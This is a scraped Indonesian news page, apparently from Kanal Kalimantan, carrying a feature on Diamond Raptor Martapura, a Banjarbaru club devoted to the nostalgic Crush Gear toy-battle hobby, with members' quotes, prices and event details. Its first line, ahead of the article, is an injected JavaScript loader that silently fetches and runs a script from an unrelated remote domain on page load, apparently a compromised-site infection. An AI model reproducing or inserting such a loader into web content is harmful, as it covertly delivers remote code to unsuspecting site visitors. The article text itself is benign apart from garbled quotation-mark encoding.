(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Huh… anak zaman now, mana tahu dengan hobi satu ini. Namanya adalah Crush Gear! Permainan ini, sebenarnya populer pada awal tahun 2000-an. Terinspirasi dari anime Crush Gear Turbo Fighter dan Crush Gear Nitro yang populer pada zaman tersebut.
Berbeda dengan tamiya dimana yang dilakukan untuk menentukan tamiya terbaik adalah dengan balapan, crush gear menentukan pemenang dengan melakukan tabrakan. Crush Gear yang terbalik atau keluar lintasan dinyatakan kalah.
Diamond Raptor Martapura salah satunya klub Crush Gear yang masih melestarikan hobi jadul di tengah derasnya permainan zaman now. Komunitas ini beranggotakan 24 orang anggota yang menjadikan wahana ini sebagai wadah menjalin silaturahmi. Termasuk juga dengan komunitas Crush Gear dari daerah lain. Anggota yang tergabung di komunitas ini dari berbagai kalangan profesi, mulai mahasiswa, polisi, pegawai swasta, dan lainnya.
Heri (25) salah satu Diamond Raptor Martapura mengatakan, biasanya main Crush Gear saat malam ketika sedang tidak ada kesibukan. Dia biasanya menggunakan tempat di sebuah kedai. Namun tidak semua anggota bisa bergabung karena adanya kesibukan masing-masing, paling banyak sampai 10 orang yang ikut bermain.
“Memang tidak memiliki jadwal yang ditentukan untuk berkumpul. Namun apabila waktu luang dan anggota bisa datang maka mereka akan berkumpul di suatu tempat seperti kedai atau tempat lainnya,†jelasnya. Seperti yang terjadi malam beberapa waktu lalu, dia sedang bermain bersama empat rekannya.
Hal senada di sampaikan Edy (25), yang mengatakan bermain Crush Gear membuatnya bernostalgi ke masa lalu saat masih anak-anak. Apalagi, hobi ini bisa menjalin silaturahmi, menambah pertemanan dan menjadi salah satu cara untuk menghilangkan stres dari tekanan pekerjaan.
“Nyabung (mengadu) ayam kan dosa, makanya kita nyabung Crush Gear,†timpal rekannya, Fadil (27), kepada Kanal Kalimantan.
Sekarang, bermain crush gear termasuk salah satu hobi mahal. Sebab sudah tidak tersedia lagi produk baru. Terakhir, produk crush gear hanya ada pada tahun 2003. Jadi untuk membeli Crush Gear, mereka ada sebuah forum jual beli di media sosial sebagai tempat untuk saling berbagi informasi. Namun Diamond Raptor tidak menutup bagi orang lain yang ikut bergabung walaupun tidak memiliki Crush Gear, mereka bisa menyediakan bagi siapa yang ikut bergabung.
Fadil mengatakan, sekarang harga Crush Gear antara Rp 250 ribu hingga Rp 4 juta. Sangat jauh berbeda ketika di zaman dulu yang harganya hanya puluhan ribu.
Mereka juga sering terlibat dalam berbagai event pertandingan yang dilaksanakan oleh komunitas serupa di Lamongan, Bali, dan daerah lainnya. Fadil menyatakan terakhir dia ada mengikuti event yang dilaksanakan oleh Komunitas Criush Gear Lamongan.
“Selain mengikuti event pertandingan yang dilaksanakan oleh komunitas lain, kami juga pernah mengadakan event pertandingan sendiri. Peserta yang ikut terlibat dalam pertandingan ini pun dari berbagai daerah dan bahkan ada yang berasal dari Jawa juga dengan jumlah peserta sekitar 50 orang,†tambahnya.
Jadi, serukan menjadi generasi zaman old? (abdullah)
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.